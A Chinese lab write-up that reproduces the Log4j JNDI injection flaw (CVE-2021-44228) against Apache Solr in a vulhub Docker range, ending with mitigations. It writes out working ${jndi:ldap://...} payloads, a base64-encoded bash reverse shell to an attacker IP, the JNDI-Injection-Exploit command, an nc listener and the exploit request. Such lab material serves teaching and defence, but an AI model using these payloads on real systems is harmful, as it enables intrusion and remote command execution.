当前位置: 首页 > news >正文

Log4j(CVE-2021-44228)漏洞复现

一、 漏洞介绍

1. 简介

Apache log4j是Apache的一个开源项目,Apache log4j 2是一个就Java的日志记录工具。通过重写了log4j框架,并且引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI组建等,被应用于业务系统开发,用于记录程序输入输出日志信息。

2. 漏洞成因

当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中假如日志中含有该语句${jndi:ldap:192.168.191.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该URL:ldap:192.168.191.1:1099/exp解析到ldap,就会去192.168.61.129:1099的ldap服务找名为shell的资源,如果找不到就会去http服务中找在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入;攻击者就可以通过shell实现任意的命令执行,造成严重危害。

3.受影响版本

Apache Log4j 2.x <= 2.14.1。

二、 漏洞复现

1. 环境部署

使用Ubuntu24系统,vulhub搭建漏洞环境。

具体搭建步骤详见:

Ubuntu24 Docker-vulhub靶场安装-CSDN博客https://blog.csdn.net/weixin_46098351/article/details/155501153?spm=1001.2014.3001.5501

2. 复现步骤

1、进入vulhub目录:

cd docker
cd vulhub

2、进入log4j目录,CVE-2021-44228。

cd log4j
cd CVE-2021-44228

3、启动靶场。

docker compose build
docker compose up -d

4、查看运行的端口,可以看到,运行在8983端口。

docker ps

5、查看漏洞说明。

cat README.zh-cn.md

6、靶场启动成功后,使用浏览器访问Apache Solr的后台界面(系统IP + 端口号8983)。

7、漏洞证明:

(1)用Yakit抓包,使用自带的DNSLog功能,生成一个独立的临时域名vzinpjjsus.lfcx.eu.org(也可以通过其它DNSLog平台,如http://dnslog.cn/等获取域名)。

(2)构造payload:${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包即可,可以看到得到了DNS解析记录,证明Log4j漏洞存在。

(3)构造payload:action=${jndi:ldap://vzinpjjsus.lfcx.eu.org},点击发包,可以得到Java版本为1.8.0_102。

8、反弹shell:

使用工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行漏洞利用:

(1)下载工具Release JNDI-Injection-Exploit v1.0 · welk1n/JNDI-Injection-Exploit,将其放入Kali中,我图方便,直接放桌面了。

(2)使用反弹shell指令,并对指令进行Base64编码。(https://tool.chinaz.com/tools/base64.aspx)

反弹shell指令结构:

bash -i >& /dev/tcp/Kali攻击机IP/任意未被占用端口 0>&1

bash -i >& /dev/tcp/192.168.191.128/4444 0>&1 #Base64编码结果:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK

(3)进入目录调用工具,将编码后的反弹shell指令通过-C参数输入JNDI工具,通过-A参数指定kali攻击机的ip地址。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all\ .jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MS4xMjgvNDQ0NCAwPiYxCgoK}|{base64,-d}|{bash,-i}" -A 192.168.191.128

(4)在Kali另一个窗口监听4444端口。

nc -lnvp 4444

(5)将Yakit数据包中的payload替换为JNDI工具中生成的参数:

ldap://192.168.191.128:1389/tslvj1

完整访问链接为:

GET /solr/admin/cores?action=${jndi:ldap://192.168.191.128:1389/tslvj1} HTTP/1.1

生成的其它payload我还没试过,可自行尝试。

(6)点击发包,Kali的监听端口成功接收到反弹shell。

若直接发包后反弹不成功,可以将payload参数 ${jndi:ldap://192.168.191.128:1389/tslvj1}进行URL编码后尝试。

9、移除环境:

Vulhub中所有环境均为漏洞靶场,在测试结束后,请及时关闭并移除环境,避免被他人恶意利用。

虽然靶场全部运行在Docker中,但大多数恶意软件并不会因为运行在容器中就失去效果!docker-compose会默认根据当前目录下的配置文件启动容器,在关闭及移除环境的时候,也需要在对应目录下。我们执行docker-compose up -d后,不要离开当前目录即可,漏洞测试结束后,执行如下命令移除环境:

docker compose down

10、修复建议:

(1)添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true;

(2)在应用classpath下添加log4j2.component.properties配置文件,文件内容为log4j2.formatMsgNoLookups=true;

(3)JDK使用11.0.1、8u191、7u201、6u211及以上的高版本;

(4)部署使用第三方防火墙产品进行安全防护。

(5)升级至最新版本。

http://www.jsqmd.com/news/257716/

相关文章:

  • 2026年国内高新企业申请公司推荐:基于深度政策分析的TOP5评测与口碑排名 - 十大品牌推荐
  • 是德科技53230A安捷伦53220A 53210A频率计
  • 【信息科学与工程学】【物理/化学科学和工程技术】知识体系01——力学基础
  • IDEA 2025.3 最新破解版安装教程
  • Embedded Studio发布新年第1更V8.26b,超微更新
  • 2026年市场技术好的不锈钢带现货厂家有哪些,双相不锈钢板/双相不锈钢管/不锈钢带/不锈钢焊管,不锈钢带定制加工推荐 - 品牌推荐师
  • 2026年优秀的铝合金清洗剂,清洗剂,超声波清洗剂厂家用户优选名录 - 品牌鉴赏师
  • 2026年高新企业申请公司怎么选?这份深度对比评测与推荐排名说清楚了 - 十大品牌推荐
  • CVE-2025-66516 Apache Tika 关键漏洞检测工具
  • 初识C语言(数据在内存中的存储) - 实践
  • 2026年无缝钢管推荐:基于行业合作网络的供应商评价与排名评测 - 十大品牌推荐
  • 海尔洗衣机全球17连冠:从产品到智慧场景的升级
  • 一文搞定 MediaPipe:零基础搭建到核心功能开发的完整教程
  • 2026年无缝钢管推荐:基于行业合作深度评价的供应商排名与综合评测 - 十大品牌推荐
  • 8.3 AI员工性能优化:提升处理效率与准确性
  • 云浮市云城云安新兴郁南罗定区英语雅思培训辅导机构推荐,2026权威出国雅思课程中心学校口碑排行榜 - 老周说教育
  • jumpserver-使用
  • SGMICRO圣邦微 SGM8274XS14G/TR SOP14 运算放大器
  • 2026年产品设计公司选购看什么?这份深度评测与口碑排名推荐给你答案 - 十大品牌推荐
  • Redis性能优化:高效查找1亿Key中的10万目标技巧
  • 2026年外观设计公司选购应关注什么?这份深度评价与推荐排名提供答案 - 十大品牌推荐
  • 2026年外观设计公司推荐:聚焦口碑对比的深度评价及最终排名解析 - 十大品牌推荐
  • 2026亲测!有机肥好厂口碑推荐分享
  • 2026年产品设计公司推荐:基于权威机构评定的TOP5排名与深度评测 - 十大品牌推荐
  • [C++][cmake]基于C++在windows上onnxruntime+opencv部署yolo26的图像分类onnx模型
  • 吐血推荐10个AI论文写作软件,本科生毕业论文轻松搞定!
  • 如何选择产品设计合作伙伴?2026年最新深度评测与综合排名推荐 - 十大品牌推荐
  • 面向边缘设备的YOLOv12模型轻量化:剪枝与知识蒸馏联合优化方法
  • 收集自己的每日消费金额,统计每周消费峰值,输出消费高峰日,并给出省钱建议。
  • YOLOv13 增强指南:集成空间注意力(SAB)的RAB卷积模块实现与性能验证